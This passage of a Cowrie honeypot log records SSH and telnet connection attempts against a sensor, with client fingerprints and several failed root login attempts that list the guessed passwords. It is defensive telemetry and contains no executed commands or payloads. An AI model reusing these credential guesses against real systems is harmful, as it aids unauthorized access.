{"eventid":"cowrie.session.closed","duration":0.005532503128051758,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:29.116701Z","src_ip":"192.119.13.58","session":"6467cb4fb7d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47188,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4e92da35411","protocol":"telnet","message":"New connection: 192.119.13.58:47188 (10.17.0.5:23) [session: f4e92da35411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:32.600770Z"}
{"eventid":"cowrie.session.closed","duration":43.28053379058838,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:34.795109Z","src_ip":"192.119.13.58","session":"2ada8f335c44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.89720320701599,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:38.631962Z","src_ip":"192.119.13.58","session":"81c7ee6b0064","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":59834,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae41f8b1fd5","protocol":"ssh","message":"New connection: 186.4.240.226:59834 (159.203.135.109:22) [session: 1ae41f8b1fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:47.603532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:47.607816Z","src_ip":"186.4.240.226","session":"1ae41f8b1fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:47.697686Z","src_ip":"186.4.240.226","session":"1ae41f8b1fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"..","message":"login attempt [root/..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:48.092014Z","src_ip":"186.4.240.226","session":"1ae41f8b1fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:49.185160Z","src_ip":"186.4.240.226","session":"1ae41f8b1fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":53062,"dst_ip":"159.203.135.109","dst_port":22,"session":"1571fa43e178","protocol":"ssh","message":"New connection: 103.172.78.219:53062 (159.203.135.109:22) [session: 1571fa43e178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:54.838220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:54.843499Z","src_ip":"103.172.78.219","session":"1571fa43e178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:55.102494Z","src_ip":"103.172.78.219","session":"1571fa43e178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234509876","message":"login attempt [root/1234509876] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:55.887456Z","src_ip":"103.172.78.219","session":"1571fa43e178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:57.147208Z","src_ip":"103.172.78.219","session":"1571fa43e178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.35502052307129,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:59:57.339622Z","src_ip":"192.119.13.58","session":"0a0baf8b168d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":56560,"dst_ip":"159.203.135.109","dst_port":22,"session":"39e9ec546679","protocol":"ssh","message":"New connection: 170.106.188.200:56560 (159.203.135.109:22) [session: 39e9ec546679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:08.266657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:08.275623Z","src_ip":"170.106.188.200","session":"39e9ec546679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:08.347613Z","src_ip":"170.106.188.200","session":"39e9ec546679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.993913888931274,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:08.594603Z","src_ip":"192.119.13.58","session":"f4e92da35411","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1337","message":"login attempt [root/Root1337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:08.690636Z","src_ip":"170.106.188.200","session":"39e9ec546679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.97628140449524,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:08.881708Z","src_ip":"192.119.13.58","session":"12d6a5657b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:09.840968Z","src_ip":"170.106.188.200","session":"39e9ec546679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44516,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac33bdf63d24","protocol":"telnet","message":"New connection: 192.119.13.58:44516 (10.17.0.5:23) [session: ac33bdf63d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:09.847326Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51178,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9bcceed16ee","protocol":"telnet","message":"New connection: 192.119.13.58:51178 (10.17.0.5:23) [session: f9bcceed16ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:11.647784Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52306,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a3ab880f07e","protocol":"telnet","message":"New connection: 192.119.13.58:52306 (10.17.0.5:23) [session: 9a3ab880f07e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:11.889038Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":43280,"dst_ip":"159.203.135.109","dst_port":22,"session":"98c3a731a0e4","protocol":"ssh","message":"New connection: 103.101.216.219:43280 (159.203.135.109:22) [session: 98c3a731a0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:16.435263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:16.441239Z","src_ip":"103.101.216.219","session":"98c3a731a0e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:16.691002Z","src_ip":"103.101.216.219","session":"98c3a731a0e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"interlude","message":"login attempt [root/interlude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:17.684423Z","src_ip":"103.101.216.219","session":"98c3a731a0e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":41584,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3583c79c73b","protocol":"ssh","message":"New connection: 94.159.110.201:41584 (159.203.135.109:22) [session: e3583c79c73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:18.498981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:18.504554Z","src_ip":"94.159.110.201","session":"e3583c79c73b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:18.634328Z","src_ip":"94.159.110.201","session":"e3583c79c73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:18.929294Z","src_ip":"103.101.216.219","session":"98c3a731a0e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:19.019023Z","src_ip":"94.159.110.201","session":"e3583c79c73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:20.149565Z","src_ip":"94.159.110.201","session":"e3583c79c73b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51448,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c8a2b6c728e","protocol":"telnet","message":"New connection: 192.119.13.58:51448 (10.17.0.5:23) [session: 0c8a2b6c728e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:30.880810Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59664,"dst_ip":"10.17.0.5","dst_port":23,"session":"45a26ec6c39d","protocol":"telnet","message":"New connection: 192.119.13.58:59664 (10.17.0.5:23) [session: 45a26ec6c39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:38.777086Z"}
{"eventid":"cowrie.session.closed","duration":32.265666484832764,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:43.913301Z","src_ip":"192.119.13.58","session":"f9bcceed16ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.51070475578308,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:52.357933Z","src_ip":"192.119.13.58","session":"ac33bdf63d24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54508,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f480b3fac9a","protocol":"telnet","message":"New connection: 192.119.13.58:54508 (10.17.0.5:23) [session: 8f480b3fac9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:55.029770Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45752,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8892025c7a8","protocol":"telnet","message":"New connection: 192.119.13.58:45752 (10.17.0.5:23) [session: e8892025c7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:00:59.597215Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":33780,"dst_ip":"159.203.135.109","dst_port":22,"session":"99a7f646a5c5","protocol":"ssh","message":"New connection: 186.4.240.226:33780 (159.203.135.109:22) [session: 99a7f646a5c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:01.913937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:01.918869Z","src_ip":"186.4.240.226","session":"99a7f646a5c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:02.003676Z","src_ip":"186.4.240.226","session":"99a7f646a5c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asus","message":"login attempt [root/asus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:02.374785Z","src_ip":"186.4.240.226","session":"99a7f646a5c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:03.463523Z","src_ip":"186.4.240.226","session":"99a7f646a5c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.11503720283508,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:08.003962Z","src_ip":"192.119.13.58","session":"9a3ab880f07e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52578,"dst_ip":"10.17.0.5","dst_port":23,"session":"d937607ad268","protocol":"telnet","message":"New connection: 192.119.13.58:52578 (10.17.0.5:23) [session: d937607ad268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:08.747059Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":59160,"dst_ip":"10.17.0.5","dst_port":22,"session":"b114670420dc","protocol":"ssh","message":"New connection: 176.65.148.108:59160 (10.17.0.5:22) [session: b114670420dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:09.825036Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:09.909835Z","src_ip":"176.65.148.108","session":"b114670420dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":59168,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbd8f88d5f2d","protocol":"ssh","message":"New connection: 176.65.148.108:59168 (10.17.0.5:22) [session: bbd8f88d5f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:09.993557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:09.998198Z","src_ip":"176.65.148.108","session":"bbd8f88d5f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sh